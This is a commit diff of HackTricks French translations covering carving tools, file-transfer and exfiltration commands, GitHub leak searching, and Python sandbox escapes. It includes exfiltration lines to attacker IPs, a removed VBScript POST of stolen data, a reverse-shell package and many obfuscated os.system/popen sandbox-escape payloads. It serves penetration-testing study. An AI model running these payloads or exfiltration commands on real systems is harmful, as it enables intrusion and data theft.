Translated ['forensics/basic-forensic-methodology/partitions-file-system

This commit is contained in:
Translator 2024-03-24 13:22:03 +00:00
parent 0bdb46db8e
commit 21979d26e0
47 changed files with 873 additions and 834 deletions

View file

@ -1,8 +1,8 @@
# Outils de Carving & Récupération
# Outils de Carving & Récupération de Données
<details>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Expert en équipe rouge AWS de HackTricks)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks:
**Groupe de Sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,11 +28,11 @@ Plus d'outils sur [https://github.com/Claudio-C/awesome-datarecovery](https://gi
### Autopsy
L'outil le plus couramment utilisé en informatique légale pour extraire des fichiers à partir d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-le ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images de disque et d'autres types d'images, mais pas les fichiers simples.
L'outil le plus couramment utilisé en informatique légale pour extraire des fichiers à partir d'images est [**Autopsy**](https://www.autopsy.com/download/). Téléchargez-le, installez-le et faites-lui ingérer le fichier pour trouver des fichiers "cachés". Notez qu'Autopsy est conçu pour prendre en charge les images de disque et d'autres types d'images, mais pas les fichiers simples.
### Binwalk <a href="#binwalk" id="binwalk"></a>
**Binwalk** est un outil d'analyse des fichiers binaires pour trouver du contenu intégré. Il est installable via `apt` et son code source est sur [GitHub](https://github.com/ReFirmLabs/binwalk).
**Binwalk** est un outil d'analyse des fichiers binaires pour trouver du contenu intégré. Il est installable via `apt` et son code source se trouve sur [GitHub](https://github.com/ReFirmLabs/binwalk).
**Commandes utiles**:
```bash
@ -58,9 +58,9 @@ scalpel file.img -o output
```
### Bulk Extractor
Cet outil est inclus dans Kali mais vous pouvez le trouver ici: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Cet outil est inclus dans kali mais vous pouvez le trouver ici: [https://github.com/simsong/bulk\_extractor](https://github.com/simsong/bulk\_extractor)
Cet outil peut scanner une image et va **extraire des pcaps** à l'intérieur, des **informations réseau (URL, domaines, IPs, MAC, adresses e-mail)** et d'autres **fichiers**. Vous n'avez qu'à faire:
Cet outil peut scanner une image et va **extraire des pcaps** à l'intérieur, des **informations réseau (URL, domaines, IPs, MAC, adresses e-mail)** et plus de **fichiers**. Vous n'avez qu'à faire:
```
bulk_extractor memory.img -o out_folder
```
@ -78,12 +78,12 @@ Consultez le [code](https://code.google.com/archive/p/binvis/) et la [page web d
#### Caractéristiques de BinVis
* Visualiseur de **structure** visuel et actif
* Visualiseur de **structure** visuelle et active
* Multiples graphiques pour différents points de focalisation
* Focalisation sur des parties d'un échantillon
* **Voir des chaînes et des ressources**, dans des exécutables PE ou ELF par exemple
* Obtenir des **motifs** pour la cryptanalyse sur des fichiers
* **Repérer** des algorithmes de compression ou de codage
* **Repérer** des algorithmes de compression ou de chiffrement
* **Identifier** la stéganographie par des motifs
* **Différenciation** binaire visuelle
@ -100,11 +100,11 @@ Téléchargez [ici](https://sourceforge.net/projects/findaes/).
## Outils complémentaires
Vous pouvez utiliser [**viu** ](https://github.com/atanunq/viu) pour voir des images depuis le terminal.\
Vous pouvez utiliser l'outil de ligne de commande linux **pdftotext** pour transformer un pdf en texte et le lire.
Vous pouvez utiliser l'outil de ligne de commande Linux **pdftotext** pour transformer un PDF en texte et le lire.
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -117,7 +117,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

View file

@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks :
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -65,7 +65,7 @@ Start-BitsTransfer -Source $url -Destination $output -Asynchronous
### Téléverser des fichiers
* [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170)
* [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* [**SimpleHttpServer affiche les GET et POST (également les en-têtes)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149)
* Module Python [uploadserver](https://pypi.org/project/uploadserver/):
```bash
# Listen to files
@ -150,7 +150,7 @@ mkdir -p /ftphome
chown -R ftpuser:ftpgroup /ftphome/
/etc/init.d/pure-ftpd restart
```
### **Client Windows**
### **Client** Windows
```bash
#Work well with python. With pure-ftp use fusr:ftp
echo open 10.11.0.41 21 > ftp.txt
@ -185,29 +185,22 @@ guest ok = Yes
#Start samba
service smbd restart
```
# Exfiltration
Windows
## Introduction
---
Exfiltration is the unauthorized transfer of data from a target system. This can be achieved through various methods, such as using command and control (C2) channels, exfiltrating data over DNS, or leveraging legitimate services like Dropbox for data exfiltration.
### Exfiltration
## Techniques
Exfiltration is the unauthorized transfer of data from a target system. There are various methods to exfiltrate data from a compromised system, including:
### Command and Control (C2) Channels
1. **Email**: Sending data as email attachments.
2. **FTP**: Transferring data using File Transfer Protocol.
3. **DNS**: Encoding data in DNS queries.
4. **HTTP/HTTPS**: Sending data over HTTP or HTTPS protocols.
5. **Steganography**: Hiding data within other files or images.
6. **Cloud Storage**: Uploading data to cloud storage services.
C2 channels are commonly used by attackers to exfiltrate data from compromised systems. These channels allow the attacker to maintain control over the compromised system and exfiltrate data without being detected.
### DNS Exfiltration
DNS exfiltration involves encoding data within DNS queries or responses to exfiltrate data from a target network. This technique can be used to bypass network security controls and exfiltrate data to an external server controlled by the attacker.
### Using Legitimate Services
Attackers can leverage legitimate services like Dropbox, Google Drive, or OneDrive to exfiltrate data from a target system. By using these services, attackers can blend in with normal network traffic and avoid detection by security controls.
## Tools and Resources
There are various tools and resources available to facilitate data exfiltration, including custom C2 frameworks, DNS exfiltration tools, and scripts for exfiltrating data using legitimate services. These tools can help attackers exfiltrate data efficiently and evade detection by security measures.
It is important for security professionals to be aware of these exfiltration methods in order to better protect systems and data from unauthorized access.
```bash
CMD-Wind> \\10.10.14.14\path\to\exe
CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials
@ -223,7 +216,7 @@ scp <username>@<Attacker_IP>:<directory>/<filename>
```
## SSHFS
Si la victime dispose de SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.
Si la victime a SSH, l'attaquant peut monter un répertoire de la victime vers l'attaquant.
```bash
sudo apt-get install sshfs
sudo mkdir /mnt/sshfs
@ -302,37 +295,9 @@ echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', '
```
## VBScript
### Introduction
### Techniques d'exfiltration
VBScript is a scripting language that is commonly used for Windows systems. It can be used for various tasks, including exfiltration of data from a compromised system. VBScript can be executed using the `cscript.exe` or `wscript.exe` interpreters.
### Exfiltration Techniques
#### Writing to Files
VBScript can write data to files on the compromised system. This can be achieved using the `FileSystemObject` to create and write to a file.
```vbs
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set objFile = objFSO.CreateTextFile("C:\path\to\file.txt", True)
objFile.Write "Data to exfiltrate"
objFile.Close
```
#### Sending HTTP Requests
VBScript can also send HTTP requests to exfiltrate data to an external server. This can be done using the `MSXML2.ServerXMLHTTP` object.
```vbs
Set objHTTP = CreateObject("MSXML2.ServerXMLHTTP")
objHTTP.Open "POST", "http://www.example.com/endpoint", False
objHTTP.setRequestHeader "Content-Type", "application/x-www-form-urlencoded"
objHTTP.send "data=exfiltrated_data"
```
### Conclusion
VBScript provides various methods for exfiltrating data from a compromised system, including writing to files and sending HTTP requests. It is important to use these techniques responsibly and ethically.
Les scripts VBScript peuvent être utilisés pour exfiltrer des données en les envoyant par e-mail, en les téléchargeant sur un serveur distant via FTP ou en les copiant sur un lecteur réseau accessible. Ces méthodes peuvent être utilisées pour voler des informations sensibles d'un système compromis.
```bash
Attacker> python -m SimpleHTTPServer 80
```
@ -386,7 +351,7 @@ Ensuite, copiez-collez le texte dans le shell Windows et un fichier appelé nc.e
**Try Hard Security Group**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -398,7 +363,7 @@ Autres façons de soutenir HackTricks:
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

View file

@ -8,7 +8,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
@ -16,7 +16,7 @@ Autres façons de soutenir HackTricks :
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -28,7 +28,7 @@ Cela aide dans plusieurs occasions à **rechercher des informations divulguées*
* [**SourceGraph**](https://sourcegraph.com/search) : Recherche dans des millions de dépôts. Il existe une version gratuite et une version entreprise (avec 15 jours gratuits). Il prend en charge les regex.
* [**Recherche Github**](https://github.com/search) : Recherche sur Github. Il prend en charge les regex.
* Il peut également être utile de consulter [**Recherche de code Github**](https://cs.github.com/).
* Il peut également être utile de consulter également [**Recherche de code Github**](https://cs.github.com/).
* [**Recherche avancée Gitlab**](https://docs.gitlab.com/ee/user/search/advanced\_search.html) : Recherche dans les projets Gitlab. Prise en charge des regex.
* [**SearchCode**](https://searchcode.com/) : Recherche de code dans des millions de projets.
@ -38,7 +38,7 @@ Lorsque vous recherchez des fuites dans un dépôt et exécutez quelque chose co
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -50,7 +50,7 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.

View file

@ -8,15 +8,15 @@ Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFT**](https://opensea.io/collection/the-peass-family)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
**Groupe de sécurité Try Hard**
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
{% embed url="https://discord.gg/tryhardsecurity" %}
@ -26,7 +26,7 @@ Voici quelques astuces pour contourner les protections des sandbox Python et ex
## Bibliothèques d'exécution de commandes
La première chose à savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
La première chose que vous devez savoir est si vous pouvez exécuter directement du code avec une bibliothèque déjà importée, ou si vous pouvez importer l'une de ces bibliothèques :
```python
os.system("ls")
os.popen("ls").read()
@ -65,7 +65,7 @@ N'oubliez pas que les fonctions _**open**_ et _**read**_ peuvent être utiles po
La fonction **Python2 input()** permet d'exécuter du code Python avant que le programme ne plante.
{% endhint %}
Python essaie de **charger les bibliothèques à partir du répertoire actuel en premier** (la commande suivante affichera d'où Python charge les modules): `python3 -c 'import sys; print(sys.path)'`
Python essaie de **charger les bibliothèques depuis le répertoire actuel en premier** (la commande suivante affichera d'où Python charge les modules): `python3 -c 'import sys; print(sys.path)'`
![](<../../../.gitbook/assets/image (552).png>)
@ -107,13 +107,13 @@ Vous pouvez télécharger le package pour créer le shell inversé ici. Veuillez
Ce package s'appelle `Reverse`. Cependant, il a été spécialement conçu de sorte que lorsque vous quittez le shell inversé, le reste de l'installation échouera, donc vous **ne laisserez aucun package python supplémentaire installé sur le serveur** lorsque vous partirez.
{% endhint %}
## Évaluation du code python
## Évaluation du code Python
{% hint style="warning" %}
Notez que exec autorise les chaînes multilignes et ";", mais eval ne le fait pas (vérifiez l'opérateur walrus)
Notez que exec autorise les chaînes multilignes et le point-virgule, mais eval ne le permet pas (vérifiez l'opérateur walrus)
{% endhint %}
Si certains caractères sont interdits, vous pouvez utiliser la représentation **hex/octal/B64** pour **contourner** la restriction:
Si certains caractères sont interdits, vous pouvez utiliser la représentation **hexadécimale/octale/Base64** pour **contourner** la restriction:
```python
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
@ -134,7 +134,7 @@ exec("\x5f\x5f\x69\x6d\x70\x6f\x72\x74\x5f\x5f\x28\x27\x6f\x73\x27\x29\x2e\x73\x
exec('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='.decode("base64")) #Only python2
exec(__import__('base64').b64decode('X19pbXBvcnRfXygnb3MnKS5zeXN0ZW0oJ2xzJyk='))
```
### Autres bibliothèques permettant d'évaluer du code Python
### Autres bibliothèques permettant d'évaluer du code python
```python
#Pandas
import pandas as pd
@ -159,7 +159,7 @@ df.query("@pd.annotations.__class__.__init__.__globals__['__builtins__']['eval']
```
## Contourner les protections à travers les encodages (UTF-7)
Dans [**ce compte rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) l'UTF-7 est utilisé pour charger et exécuter du code Python arbitraire à l'intérieur d'un sandbox apparent :
Dans [**ce compte rendu**](https://blog.arkark.dev/2022/11/18/seccon-en/#misc-latexipy) l'UTF-7 est utilisé pour charger et exécuter du code Python arbitraire à l'intérieur d'un sandbox apparent:
```python
assert b"+AAo-".decode("utf_7") == "\n"
@ -174,7 +174,7 @@ Il est également possible de contourner cela en utilisant d'autres encodages, p
## Exécution Python sans appels
Si vous êtes à l'intérieur d'une prison Python qui **ne vous permet pas de faire des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes** arbitraires.
Si vous êtes à l'intérieur d'une prison Python qui **ne vous permet pas de passer des appels**, il existe encore des moyens d'**exécuter des fonctions, du code** et des **commandes** arbitraires.
### RCE avec [décorateurs](https://docs.python.org/3/glossary.html#term-decorator)
```python
@ -204,7 +204,7 @@ Si vous pouvez **déclarer une classe** et **créer un objet** de cette classe,
#### RCE avec des classes personnalisées
Vous pouvez modifier certaines **méthodes de classe** (_en écrasant des méthodes de classe existantes ou en créant une nouvelle classe_) pour les faire **exécuter du code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement.
Vous pouvez modifier certaines **méthodes de classe** (_en écrasant des méthodes de classe existantes ou en créant une nouvelle classe_) pour leur faire **exécuter du code arbitraire** lorsqu'elles sont **déclenchées** sans les appeler directement.
```python
# This class has 3 different ways to trigger RCE without directly calling any function
class RCE:
@ -399,7 +399,7 @@ __builtins__["__import__"]("os").system("ls")
# There are lots of other payloads that can be abused to execute commands
# See them below
```
## Globaux et locaux
## Variables globales et locales
Vérifier les **`globals`** et **`locals`** est un bon moyen de savoir à quoi vous pouvez accéder.
```python
@ -431,7 +431,7 @@ Ici, je veux expliquer comment découvrir facilement **plus de fonctionnalités
#### Accéder aux sous-classes avec des contournements
Une des parties les plus sensibles de cette technique est de pouvoir **accéder aux sous-classes de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()`, mais il existe **d'autres moyens possibles**:
Une des parties les plus sensibles de cette technique est la capacité à **accéder aux sous-classes de base**. Dans les exemples précédents, cela a été fait en utilisant `''.__class__.__base__.__subclasses__()`, mais il existe **d'autres moyens possibles**:
```python
#You can access the base from mostly anywhere (in regular conditions)
"".__class__.__base__.__subclasses__()
@ -459,18 +459,18 @@ defined_func.__class__.__base__.__subclasses__()
(''|attr('__class__')|attr('__mro__')|attr('__getitem__')(1)|attr('__subclasses__')()|attr('__getitem__')(132)|attr('__init__')|attr('__globals__')|attr('__getitem__')('popen'))('cat+flag.txt').read()
(''|attr('\x5f\x5fclass\x5f\x5f')|attr('\x5f\x5fmro\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')(1)|attr('\x5f\x5fsubclasses\x5f\x5f')()|attr('\x5f\x5fgetitem\x5f\x5f')(132)|attr('\x5f\x5finit\x5f\x5f')|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('popen'))('cat+flag.txt').read()
```
### Trouver les bibliothèques dangereuses chargées
### Recherche de bibliothèques dangereuses chargées
Par exemple, en sachant qu'avec la bibliothèque **`sys`** il est possible d'**importer des bibliothèques arbitraires**, vous pouvez rechercher tous les **modules chargés qui ont importé sys à l'intérieur d'eux**:
```python
[ x.__name__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ]
['_ModuleLock', '_DummyModuleLock', '_ModuleLockManager', 'ModuleSpec', 'FileLoader', '_NamespacePath', '_NamespaceLoader', 'FileFinder', 'zipimporter', '_ZipImportResourceReader', 'IncrementalEncoder', 'IncrementalDecoder', 'StreamReaderWriter', 'StreamRecoder', '_wrap_close', 'Quitter', '_Printer', 'WarningMessage', 'catch_warnings', '_GeneratorContextManagerBase', '_BaseExitStack', 'Untokenizer', 'FrameSummary', 'TracebackException', 'CompletedProcess', 'Popen', 'finalize', 'NullImporter', '_HackedGetData', '_localized_month', '_localized_day', 'Calendar', 'different_locale', 'SSLObject', 'Request', 'OpenerDirector', 'HTTPPasswordMgr', 'AbstractBasicAuthHandler', 'AbstractDigestAuthHandler', 'URLopener', '_PaddedFile', 'CompressedValue', 'LogRecord', 'PercentStyle', 'Formatter', 'BufferingFormatter', 'Filter', 'Filterer', 'PlaceHolder', 'Manager', 'LoggerAdapter', '_LazyDescr', '_SixMetaPathImporter', 'MimeTypes', 'ConnectionPool', '_LazyDescr', '_SixMetaPathImporter', 'Bytecode', 'BlockFinder', 'Parameter', 'BoundArguments', 'Signature', '_DeprecatedValue', '_ModuleWithDeprecations', 'Scrypt', 'WrappedSocket', 'PyOpenSSLContext', 'ZipInfo', 'LZMACompressor', 'LZMADecompressor', '_SharedFile', '_Tellable', 'ZipFile', 'Path', '_Flavour', '_Selector', 'JSONDecoder', 'Response', 'monkeypatch', 'InstallProgress', 'TextProgress', 'BaseDependency', 'Origin', 'Version', 'Package', '_Framer', '_Unframer', '_Pickler', '_Unpickler', 'NullTranslations']
```
Il y en a beaucoup, et **nous en avons juste besoin d'un seul** pour exécuter des commandes :
Il y en a beaucoup, et **nous en avons juste besoin d'un** pour exécuter des commandes :
```python
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "sys" in x.__init__.__globals__ ][0]["sys"].modules["os"].system("ls")
```
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir être utilisées pour **exécuter des commandes**:
Nous pouvons faire la même chose avec **d'autres bibliothèques** que nous savons pouvoir être utilisées pour **exécuter des commandes** :
```python
#os
[ x.__init__.__globals__ for x in ''.__class__.__base__.__subclasses__() if "wrapper" not in str(x.__init__) and "os" in x.__init__.__globals__ ][0]["os"].system("ls")
@ -559,7 +559,7 @@ __builtins__: _ModuleLock, _DummyModuleLock, _ModuleLockManager, ModuleSpec, Fil
## Recherche récursive des fonctions intégrées, des variables globales...
{% hint style="warning" %}
C'est tout simplement **génial**. Si vous **cherchez un objet tel que globals, builtins, open ou tout autre chose**, utilisez ce script pour **rechercher de manière récursive les endroits où vous pouvez trouver cet objet.**
C'est tout simplement **génial**. Si vous **cherchez un objet tel que globals, builtins, open ou tout autre chose**, utilisez ce script pour **trouver de manière récursive les endroits où vous pouvez trouver cet objet**.
{% endhint %}
```python
import os, sys # Import these to find more gadgets
@ -684,7 +684,7 @@ Vous pouvez vérifier la sortie de ce script sur cette page :
## Chaîne de format Python
Si vous **envoyez** une **chaîne** à python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder à **l'information interne de python**. Vous pouvez utiliser les exemples précédents pour accéder aux globaux ou aux fonctions intégrées par exemple.
Si vous **envoyez** une **chaîne** à Python qui va être **formatée**, vous pouvez utiliser `{}` pour accéder aux **informations internes de Python**. Vous pouvez utiliser les exemples précédents pour accéder aux globaux ou aux fonctions intégrées par exemple.
{% hint style="info" %}
Cependant, il y a une **limitation**, vous ne pouvez utiliser que les symboles `.[]`, donc vous **ne pourrez pas exécuter de code arbitraire**, juste lire des informations.\
@ -739,7 +739,7 @@ Consultez également la page suivante pour des gadgets qui vont **lire des infor
[python-internal-read-gadgets.md](../python-internal-read-gadgets.md)
{% endcontent-ref %}
### Charges utiles de divulgation d'informations sensibles
### Charges de divulgation d'informations sensibles
```python
{whoami.__class__.__dict__}
{whoami.__globals__[os].__dict__}
@ -778,7 +778,7 @@ dir(get_flag) #Get info tof the function
```
#### globals
`__globals__` et `func_globals` (identiques) permettent d'obtenir l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, certaines variables globales et leur contenu déclaré:
`__globals__` et `func_globals` (identiques) obtiennent l'environnement global. Dans l'exemple, vous pouvez voir certains modules importés, certaines variables globales et leur contenu déclaré:
```python
get_flag.func_globals
get_flag.__globals__
@ -787,7 +787,7 @@ get_flag.__globals__
#If you have access to some variable value
CustomClassObject.__class__.__init__.__globals__
```
[**Voir ici plus d'endroits pour obtenir des variables globales**](./#globals-and-locals)
[**Voir ici plus d'endroits pour obtenir des globales**](./#globals-and-locals)
### **Accès au code de la fonction**
@ -879,7 +879,7 @@ dis.dis(get_flag)
44 LOAD_CONST 0 (None)
47 RETURN_VALUE
```
Notez que **si vous ne pouvez pas importer `dis` dans le bac à sable Python**, vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et le **désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique également le décalage de la variable chargée.
Notez que **si vous ne pouvez pas importer `dis` dans le sandbox python**, vous pouvez obtenir le **bytecode** de la fonction (`get_flag.func_code.co_code`) et le **désassembler** localement. Vous ne verrez pas le contenu des variables chargées (`LOAD_CONST`) mais vous pouvez les deviner à partir de (`get_flag.func_code.co_consts`) car `LOAD_CONST` indique également le décalage de la variable chargée.
```python
dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
0 LOAD_CONST 1 (1)
@ -903,7 +903,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
```
## Compilation de Python
Maintenant, imaginons que vous puissiez **extraire les informations sur une fonction que vous ne pouvez pas exécuter** mais que vous **devez** **l'exécuter**.\
